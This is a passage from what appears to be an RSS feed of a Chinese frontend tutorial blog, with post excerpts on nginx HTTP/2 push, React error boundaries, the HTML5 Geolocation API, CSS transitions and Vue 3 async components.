&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-nginx" data-lang="nginx"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;location&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;/index.html&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;http2_push&lt;/span&gt; &lt;span style="color:#e6db74"&gt;/style.css&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;http2_push&lt;/span&gt; &lt;span style="color:#e6db74"&gt;/main.js&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;或者使用 &lt;code&gt;Link&lt;/code&gt; 响应头方式：&lt;/p&gt;</description></item><item><title>错误边界</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-017/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-017/</guid><description>&lt;p&gt;人无完人，代码总会出错，出错并不可怕，关键是怎么处理。&lt;/p&gt;
&lt;p&gt;我就想问问大家react的应用的错误怎么捕捉呢？ 这个时候：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;小白+++：怎么处理？&lt;/li&gt;
&lt;li&gt;小白++： ErrorBoundary&lt;/li&gt;
&lt;li&gt;小白+： ErrorBoundary, try catch&lt;/li&gt;
&lt;li&gt;小黑#: ErrorBoundary, try catch, window.onerror&lt;/li&gt;
&lt;li&gt;小黑##: 这个是个严肃的问题，我知道N种处理方式，你有什么更好的方案?&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="errorboundary"&gt;ErrorBoundary&lt;/h2&gt;
&lt;p&gt;EerrorBoundary是16版本出来的，有人问那我的15版本呢，我不听我不听，反正我用16，当然15有&lt;code&gt;unstable_handleError&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;关于ErrorBoundary官网介绍比较详细，这个不是重点，重点是他能捕捉哪些异常。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;子组件的渲染&lt;/li&gt;
&lt;li&gt;生命周期函数&lt;/li&gt;
&lt;li&gt;构造函数&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ErrorBoundary&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;extends&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;React&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Component&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;constructor&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;super&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;state&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;hasError&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;componentDidCatch&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;error&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;info&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Display fallback UI
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;setState&lt;/span&gt;({ &lt;span style="color:#a6e22e"&gt;hasError&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// You can also log the error to an error reporting service
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;logErrorToMyService&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;error&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;info&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;render&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;state&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;hasError&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// You can render any custom fallback UI
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;h1&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;Something&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;went&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;wrong&lt;/span&gt;.&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/h1&amp;gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;children&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;ErrorBoundary&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;MyWidget&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/ErrorBoundary&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;开源世界就是好，早有大神封装了&lt;a href="https://www.npmjs.com/package/react-error-boundary"&gt;react-error-boundary&lt;/a&gt; 这种优秀的库。&lt;br&gt;
你只需要关心出现错误后需要关心什么，还以来个 &lt;code&gt;Reset&lt;/code&gt;, 完美。&lt;/p&gt;</description></item><item><title>地理定位</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-017/</link><pubDate>Wed, 16 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/html/html-017/</guid><description>&lt;p&gt;HTML5 提供了地理定位（Geolocation）API，用于获取用户的当前位置。通过这一功能，网页可以访问用户的地理位置信息，进而实现如地图服务、定位推荐、基于位置的广告等功能。该 API 主要依赖设备的 GPS、Wi-Fi、IP 地址、蓝牙等信息来确定位置。&lt;/p&gt;
&lt;h3 id="geolocation-api-的基本用法"&gt;&lt;strong&gt;Geolocation API 的基本用法&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;主要通过 &lt;code&gt;navigator.geolocation&lt;/code&gt; 对象来访问地理位置信息，提供了以下三个方法：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;getCurrentPosition(success, error, options)&lt;/code&gt;&lt;/strong&gt; 获取用户的当前位置，一次性返回位置信息。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;watchPosition(success, error, options)&lt;/code&gt;&lt;/strong&gt; 持续监听用户的位置变化，并且实时返回新的位置信息。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;clearWatch(id)&lt;/code&gt;&lt;/strong&gt; 取消 &lt;code&gt;watchPosition&lt;/code&gt; 监听的位置变化。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="方法的参数说明"&gt;&lt;strong&gt;方法的参数说明&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;success(position)&lt;/code&gt;：成功获取位置时的回调函数。&lt;code&gt;position&lt;/code&gt; 对象包含位置信息，如经度、纬度、速度等。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;error(error)&lt;/code&gt;：可选参数，获取位置失败时的回调函数。&lt;code&gt;error&lt;/code&gt; 对象包含错误信息，如用户拒绝提供位置或获取超时等。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;options&lt;/code&gt;：可选参数，包含配置选项，影响获取位置的精度、超时时间等。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="使用示例"&gt;&lt;strong&gt;使用示例&lt;/strong&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;navigator&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;geolocation&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;navigator&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;geolocation&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;getCurrentPosition&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; (&lt;span style="color:#a6e22e"&gt;position&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;latitude&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;position&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;coords&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;latitude&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;longitude&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;position&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;coords&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;longitude&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;`Latitude: &lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;latitude&lt;/span&gt;&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;, Longitude: &lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;longitude&lt;/span&gt;&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; (&lt;span style="color:#a6e22e"&gt;error&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;error&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;`Error Code = &lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;error&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;code&lt;/span&gt;&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;: &lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;error&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;message&lt;/span&gt;&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; { &lt;span style="color:#a6e22e"&gt;enableHighAccuracy&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;timeout&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;5000&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;maximumAge&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;} &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;Geolocation is not supported by this browser.&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="获取到的"&gt;&lt;strong&gt;获取到的 &lt;code&gt;position&lt;/code&gt; 对象&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;position&lt;/code&gt; 对象包含用户的位置信息，主要属性包括：&lt;/p&gt;</description></item><item><title>transition</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/css/transition/</link><pubDate>Tue, 08 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/css/transition/</guid><description>&lt;p&gt;CSS &lt;code&gt;transition&lt;/code&gt; 提供了一种在更改 CSS 属性时控制动画速度的方法。其可以让属性变化成为一个持续一段时间的，而不是立即生效的过程。&lt;/p&gt;
&lt;p&gt;比如，将一个元素的颜色从白色改为黑色，通常这个改变是立即生效的，使用 CSS 过渡后该元素的颜色将按照一定的曲线速率从白色变化为黑色。这个过程可以自定义。&lt;/p&gt;
&lt;p&gt;通常将两个状态之间的过渡称为&lt;strong&gt;隐式过渡&lt;/strong&gt;，因为开始与结束之间的状态由浏览器决定。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/transition/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;CSS 过渡可以决定哪些属性发生动画效果（通过明确地列出这些属性），何时开始（通过设置延时），持续多久（通过设置时长）以及如何动画（通过定义缓动函数，如线性或先快后慢）。比如在不同的伪元素之间切换，像是 &lt;code&gt;:hover&lt;/code&gt;，&lt;code&gt;:active&lt;/code&gt; 或者通过 JavaScript 实现的状态变化。&lt;/p&gt;
&lt;p&gt;开发者可以定义哪一属性需以何种方式用于动画，由此允许创造复杂的过渡。然而因为为某些属性赋予动画无意义，所以这些属性无动画性。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;备注： auto 值常常较复杂，规范指出不要在它上动画。一些用户代理，比如基于 Gecko 的，实现了这个需求；然而另外一些用户代理，比如基于 WebKit 的，没有这么严格限制。在 auto 上使用动画，取决于浏览器及其版本，可能会导致非预期结果，应当避免使用。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="属性"&gt;属性&lt;/h2&gt;
&lt;p&gt;以下 &lt;code&gt;transition&lt;/code&gt; 属性，若有多个属性值，则以&lt;code&gt;,&lt;/code&gt;（逗号）衔接。&lt;/p&gt;
&lt;h3 id="transition-property"&gt;transition-property&lt;/h3&gt;
&lt;p&gt;指定哪个或哪些 CSS 属性名称用于过渡。只有指定的属性才会在过渡中发生动画，其他属性仍如通常那样瞬间变化。如果指定简写属性（比如 &lt;code&gt;background&lt;/code&gt;），那么其完整版中所有可以动画的属性都会被应用过渡。&lt;/p&gt;
&lt;p&gt;取值如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;none&lt;/code&gt;：没有过渡动画。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;all&lt;/code&gt;（&lt;strong&gt;初始值&lt;/strong&gt;）：所有可被动画的属性都表现出过渡动画。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;custom-ident&amp;gt;&lt;/code&gt;：属性名称。由小写字母 a 到 z，数字 0 到 9，下划线（_）和破折号（-）。第一个不能为非破折号字符或数字。同时，不能以两个破折号开头。通俗来说就是可以是自定义名称也可以是css规范中的属性名。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="transition-duration"&gt;transition-duration&lt;/h3&gt;
&lt;p&gt;表示过渡属性从旧的值转变到新的值所需要的时间。你可以为所有属性指定一个值，或者指定多个值，或者为每个属性指定不同的时长。&lt;/p&gt;
&lt;p&gt;该属性值以秒（s）或毫秒（ms）为单位指定过渡动画所需的时间。默认值为 &lt;strong&gt;0s&lt;/strong&gt;，表示不会呈现过渡动画，属性会瞬间完成转变。不接受负值。&lt;/p&gt;
&lt;p&gt;可以指定多个时长，每个时长会被应用到由 &lt;code&gt;transition-property&lt;/code&gt; 指定的对应属性上。&lt;/p&gt;
&lt;p&gt;如果某个属性的值列表小于 &lt;code&gt;transition-property&lt;/code&gt; 的属性值数量，那么时长列表会重复，重复规则是按照现有值进行重复。例如：&lt;/p&gt;
&lt;p&gt;如3s，则重复多个3s&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;transition-property&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;opacity&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;left&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;top&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;height&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;transition-duration&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;s&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;将视为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;transition-property&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;opacity&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;left&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;top&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;height&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;transition-duration&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;s&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;s&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;s&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;s&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;如果是3s，5s，则会重复多个3s，5s。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;transition-property&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;opacity&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;left&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;top&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;height&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;transition-duration&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;s&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;s&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;将视为：&lt;/p&gt;</description></item><item><title>异步组件</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-017/</link><pubDate>Sat, 05 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-017/</guid><description>&lt;p&gt;当我们的项目达到一定的规模时，对于某些组件来说，我们并不希望一开始全部加载，而是需要的时候进行加载；这样的做得目的可以很好的提高用户体验。&lt;/p&gt;
&lt;p&gt;为了实现这个功能，Vue3中为我们提供了一个方法，即&lt;code&gt;defineAsyncComponent&lt;/code&gt;，这个方法可以传递两种类型的参数，分别是函数类型和对象类型，接下来我们分别学习。&lt;/p&gt;
&lt;h2 id="传递工厂函数作为参数"&gt;传递工厂函数作为参数&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;defineAsyncComponent&lt;/code&gt;方法接收一个工厂函数是它的基本用法，这个工厂函数必须返回一个&lt;code&gt;Promise&lt;/code&gt;，&lt;code&gt;Promise&lt;/code&gt;的&lt;code&gt;resolve&lt;/code&gt;应该返回一个组件。&lt;/p&gt;
&lt;p&gt;我们这里以Vue Cli创建的项目为例，这里我稍微做了一下修改，将头部的图片拆分为一个组件，代码如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;template&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;logo&lt;/span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;img&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;hello&lt;/span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;world&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;msg&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Welcome to Your Vue.js App&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/template&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;setup&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;LogoImg&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;./components/LogoImg.vue&amp;#39;&lt;/span&gt;
